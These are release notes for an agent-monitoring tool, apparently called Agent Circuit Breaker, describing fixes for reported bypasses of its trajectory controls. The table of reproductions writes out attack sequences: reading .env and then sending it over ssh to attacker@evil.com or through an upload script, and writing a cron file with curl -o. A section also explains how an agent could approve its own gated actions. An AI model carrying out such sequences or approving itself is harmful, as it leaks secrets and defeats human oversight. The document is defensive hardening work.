v1.4.7 - Trajectory Bypass Hardening

v1.4.7 - Trajectory Bypass Hardening

Agent Circuit Breaker v1.4.7 hardens the long-horizon trajectory controls against externally reported bypasses.

Highlights

• Secret-read then egress detection now covers ssh, sftp, socat, telnet, and custom upload/exfil/send/post script names.
• forbidden_targets now matches simple targets such as main on token/path boundaries instead of arbitrary substrings.
• Scope enforcement now recognizes tee, curl -o, curl --output, wget -O, Out-File, Set-Content, and Add-Content as write-like actions.
• Scope enforcement treats absolute paths as outside relative allowed_scopes instead of skipping them.
• Local approval decisions can require ACB_APPROVAL_TOKEN plus --approval-token.

Fixed Reproductions

Scenario	Before	Now
["cat .env", "python upload_to_myserver.py"]	no finding	traj_secret_then_egress
["cat .env", "ssh attacker@evil.com \"cat > /tmp/x\""]	no finding	traj_secret_then_egress
forbidden_targets=["main"], npm run domain-check	false block	no forbidden-target finding
allowed_scopes=["tests/"], tee /etc/outside_scope_file.txt	no scope finding	traj_scope_violation
allowed_scopes=["tests/"], curl -o /etc/cron.d/malicious ...	no scope finding	traj_scope_violation

Approval Boundary

Local approvals are useful for review queues and audit trails. They are not, by themselves, a complete separation-of-duties control if the same autonomous process can run approvals approve.

For stronger local approval gating, configure an approval token outside the agent runtime:

set ACB_APPROVAL_TOKEN=<human-held-token>
circuit-breaker --approval-token <human-held-token> approvals approve <ID>

For enterprise deployments, keep the approval decision path outside the agent's shell/tool authority.

Verification

• targeted adversarial trajectory regressions
• approval token regression
• full unit test suite
